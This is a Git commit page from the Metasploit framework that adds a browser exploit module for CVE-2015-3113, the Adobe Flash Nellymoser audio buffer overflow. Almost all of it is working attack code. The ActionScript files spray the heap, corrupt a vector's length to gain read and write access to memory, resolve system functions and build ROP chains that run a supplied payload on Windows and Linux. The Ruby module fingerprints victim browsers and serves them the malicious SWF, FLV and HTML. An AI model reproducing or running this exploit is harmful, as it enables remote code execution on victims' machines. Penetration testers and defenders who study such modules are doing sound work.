Land #5642, Adobe Flash CVE-2015-3113 Nellymoser Audio Decoding BOF

bug/bundler_fix
wchen-r7 2015-07-01 18:44:38 -05:00
commit 32d5e7f3de
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
9 changed files with 1198 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,114 @@
package
{
import flash.display.Sprite
import flash.events.Event
import flash.events.NetStatusEvent
import flash.events.AsyncErrorEvent
import flash.media.Video
import flash.net.NetConnection
import flash.net.NetStream
import flash.utils.getTimer
import flash.utils.ByteArray
import mx.utils.Base64Decoder
import flash.display.LoaderInfo
public class Exploit extends Sprite
{
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public var bytes:Class;
public var video:Video = new Video(640, 480);
public var vecVectors:Vector.<Object>;
public function Exploit():void {
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
addChild(video)
var nc:NetConnection = new NetConnection()
nc.addEventListener(NetStatusEvent.NET_STATUS , onConnect)
nc.addEventListener(AsyncErrorEvent.ASYNC_ERROR , trace)
var metaSniffer:Object=new Object()
metaSniffer.onMetaData=getMeta
nc.connect(null)
var ns:NetStream = new NetStream(nc)
ns.client = metaSniffer
video.attachNetStream(ns)
vecVectors = new Vector.<Object>(0x1000)
for ( var i:uint = 0; i < vecVectors.length; ++ i ) {
vecVectors[i] = new Vector.<uint>((0x2000 - 8) / 4);
vecVectors[i][0] = 0xdeedbeef;
}
for ( i = 0; i < vecVectors.length; i += 2 ) {
vecVectors[i] = null;
}
ns.addEventListener(NetStatusEvent.NET_STATUS, statusChanged)
ns.play("poc2.flv")
}
private function go():void {
var bigVector:Vector.<uint> = null;
for ( var i:uint = 0; i < vecVectors.length; i++ ) {
if (vecVectors[i] == null) continue
if ( vecVectors[i].length > (0x2000 - 8) / 4 ) {
bigVector = vecVectors[i] as Vector.<uint>
}
}
if ( null == bigVector ) {
return;
}
for ( i = 0; i < 0x2000; i++ ) {
if (bigVector[i] == 0x7fe && bigVector[i + 2] == 0xdeedbeef) {
bigVector[0x3fffffff] = bigVector[i + 1]
break
}
}
for ( i = 0; i < vecVectors.length; i++ ) {
if (vecVectors[i] == null) continue
if (vecVectors[i].length != 0x7fe) {
delete(vecVectors[i])
vecVectors[i] = null
}
}
exploiter = new Exploiter(this, platform, os, payload, bigVector, 0x7fe)
}
private function statusChanged(stats:NetStatusEvent):void {
if (stats.info.code == 'NetStream.Play.Stop') {
WaitTimer(1000)
go()
}
}
private function getMeta (mdata:Object):void {
video.width=mdata.width/2
video.height=mdata.height/2
}
private function onConnect(e:NetStatusEvent):void {
return
}
private function WaitTimer(time:int):void{
var current:int = getTimer()
while (true) {
if ((getTimer() - current) >= time) break
}
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,75 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint
public function ExploitVector(v:Vector.<uint>, length:uint)
{
uv = v
original_length = length
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv, uv_length)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg
if(ExternalInterface.available){
ExternalInterface.call("alert", str)
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg
if(ExternalInterface.available){
ExternalInterface.call("console.log", str)
}
}
}
}

View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,186 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser
encoded audio inside a FLV video, as exploited in the wild on June 2015. This module
has been tested successfully on:
Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,
Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160, and
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466.
Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-3113'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'],
['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'],
['URL', 'http://bobao.360.cn/learning/detail/357.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'linux'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.161')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jun 23 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
@flv = create_flv
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
if request.uri =~ /\.flv$/
print_status('Sending FLV...')
send_response(cli, @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]
if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
def create_flv
header = ''
header << 'FLV' # signature
header << [1].pack('C') # version
header << [4].pack('C') # Flags: TypeFlagsAudio
header << [9].pack('N') # DataOffset
data = ''
data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0
data << "\xee" * 0x440 # SoundData
tag1 = ''
tag1 << [8].pack('C') # TagType (audio)
tag1 << "\x00\x04\x41" # DataSize
tag1 << "\x00\x00\x1a" # TimeStamp
tag1 << [0].pack('C') # TimeStampExtended
